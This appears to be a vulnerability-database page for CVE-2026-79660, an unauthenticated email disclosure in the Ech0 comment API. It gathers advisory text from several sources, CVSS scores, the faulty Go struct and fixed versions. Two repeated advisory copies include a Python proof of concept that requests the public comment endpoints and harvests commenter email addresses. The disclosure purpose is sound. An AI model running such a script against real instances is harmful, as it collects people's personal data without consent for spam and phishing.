CVE-2026-79660
Ech0 before 4.7.3 Email Disclosure via Public API
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.9
Ech0 before 4.7.3 Email Disclosure via Public API
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
- Record
CVE-2026-79660- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
EUVDEUVD-2026-65454
6.9
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
- Record
EUVD-2026-65454- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-845p-52xj-2432
6.9
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints...
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
- Record
GHSA-845p-52xj-2432- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rj4g-rqgh-rx9h
5.3
Ech0 comment model's Email field returned on public /api/comments endpoints
Summary
The Comment model serializes its Email field through the public comment-listing API. internal/model/comment/comment.go:33 uses json:"email", while adjacent PII fields (IPHash, UserAgent) correctly use json:"-". The public endpoints GET /api/comments?echo_id=X and GET /api/comments/public?limit=N both live on PublicRouterGroup with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.
Details
The Comment model at internal/model/comment/comment.go:33:
type Comment struct {
// ...
Email string `gorm:"size:255;not null;index" json:"email"`
IPHash string `gorm:"size:128;index" json:"-"`
UserAgent string `gorm:"size:512" json:"-"`
// ...
}
The json:"-" on IPHash and UserAgent shows the developer's intent: hide server-side PII from API responses. The Email field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.
Routes at internal/router/comment.go:20 and comment public-feed route:
appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())
appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments())
Both handlers call ListPublicByEchoID (service at internal/service/comment/comment.go:329) or ListPublicComments (service at :340), both of which return the slice of Comment structs to ctx.JSON. No DTO projection, no field stripping.
The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.
GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on GET /api/allusers, which exposed account-owner emails. This report covers a distinct endpoint (/api/comments and /api/comments/public) and a distinct data subject (guest commenters, not registered account owners).
Proof of Concept
Anonymous caller harvests commenter emails on the default install:
import requests
TARGET = "http://localhost:8300"
# Any echo UUID from the public feed.
pub_id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"]
# No auth header. The response includes the raw email field.
r = requests.get(f"{TARGET}/api/comments", params={"echo_id": pub_id})
for c in r.json()["data"]:
print(f" nickname={c['nickname']!r} email={c.get('email')!r}")
# The /public variant returns recent comments across every echo.
r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100})
emails = {c.get("email") for c in r.json()["data"] if c.get("email")}
print(f"harvested {len(emails)} unique emails from /comments/public")
Observed on v4.5.6:
nickname='GuestHarvestMe' email='[email protected]'
harvested 1 unique emails from /comments/public
The instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.
Impact
Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against /api/comments/public. Privacy-regulation exposure follows:
- GDPR and CCPA. Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.
- Spam and phishing targeting. Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.
- Cross-instance aggregation. A scraper against any public-facing Ech0 instance yields a curated list of people who…
- Record
GHSA-rj4g-rqgh-rx9h- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-200, CWE-359
- Updated
- 2026-11-02
NVD
6.9
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
- Record
CVE-2026-79660- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSV
6.9
Ech0 before 4.7.3 Email Disclosure via Public API
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
- Record
CVE-2026-79660- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSVGHSA-rj4g-rqgh-rx9h
5.3
Ech0 comment model's Email field returned on public /api/comments endpoints
Summary
The Comment model serializes its Email field through the public comment-listing API. internal/model/comment/comment.go:33 uses json:"email", while adjacent PII fields (IPHash, UserAgent) correctly use json:"-". The public endpoints GET /api/comments?echo_id=X and GET /api/comments/public?limit=N both live on PublicRouterGroup with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.
Details
The Comment model at internal/model/comment/comment.go:33:
type Comment struct {
// ...
Email string `gorm:"size:255;not null;index" json:"email"`
IPHash string `gorm:"size:128;index" json:"-"`
UserAgent string `gorm:"size:512" json:"-"`
// ...
}
The json:"-" on IPHash and UserAgent shows the developer's intent: hide server-side PII from API responses. The Email field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.
Routes at internal/router/comment.go:20 and comment public-feed route:
appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())
appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments())
Both handlers call ListPublicByEchoID (service at internal/service/comment/comment.go:329) or ListPublicComments (service at :340), both of which return the slice of Comment structs to ctx.JSON. No DTO projection, no field stripping.
The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.
GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on GET /api/allusers, which exposed account-owner emails. This report covers a distinct endpoint (/api/comments and /api/comments/public) and a distinct data subject (guest commenters, not registered account owners).
Proof of Concept
Anonymous caller harvests commenter emails on the default install:
import requests
TARGET = "http://localhost:8300"
# Any echo UUID from the public feed.
pub_id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"]
# No auth header. The response includes the raw email field.
r = requests.get(f"{TARGET}/api/comments", params={"echo_id": pub_id})
for c in r.json()["data"]:
print(f" nickname={c['nickname']!r} email={c.get('email')!r}")
# The /public variant returns recent comments across every echo.
r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100})
emails = {c.get("email") for c in r.json()["data"] if c.get("email")}
print(f"harvested {len(emails)} unique emails from /comments/public")
Observed on v4.5.6:
nickname='GuestHarvestMe' email='[email protected]'
harvested 1 unique emails from /comments/public
The instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.
Impact
Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against /api/comments/public. Privacy-regulation exposure follows:
- GDPR and CCPA. Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.
- Spam and phishing targeting. Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.
- Cross-instance aggregation. A scraper against any public-facing Ech0 instance yields a curated list of people who…
- Record
GHSA-rj4g-rqgh-rx9h- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-200, CWE-359
- Updated
- 2026-11-02
OSVGO-2026-5626 No score
Ech0 comment model's Email field returned on public /api/comments endpoints in github.com/lin-snow/ech0
Ech0 comment model's Email field returned on public /api/comments endpoints in github.com/lin-snow/ech0
- Record
GO-2026-5626- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/lin-snow/Ech0Go |
before 1.4.8-0.20260503034700-cb8d7a997dd8 | 1.4.8-0.20260503034700-cb8d7a997dd8 |
github.com/lin-snow/ech0Go |
before 1.4.8-0.20260503034700-cb8d7a997dd8 | 1.4.8-0.20260503034700-cb8d7a997dd8 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-79660 is a medium vulnerability (CVSS 6.9) in Lin-snow Ech0, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in github.com/lin-snow/Ech0 1.4.8-0.20260503034700-cb8d7a997dd8.
References
github.com/lin-snow/Ech0/security/advisories/GHSA-rj4g-rqgh-rx9h
vulncheck.com/advisories/ech0-before-email-disclosure-via-public-api
nvd.nist.gov/vuln/detail/CVE-2026-79660
github.com/advisories/GHSA-845p-52xj-2432
github.com/lin-snow/Ech0/commit/cb8d7a997dd8f573ef0e22e4e6b23b2b8ee92ebd
github.com/advisories/GHSA-rj4g-rqgh-rx9h
github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79660.json
github.com/lin-snow/Ech0
Left out here: the rest of 2 source descriptions. The JSON record has them.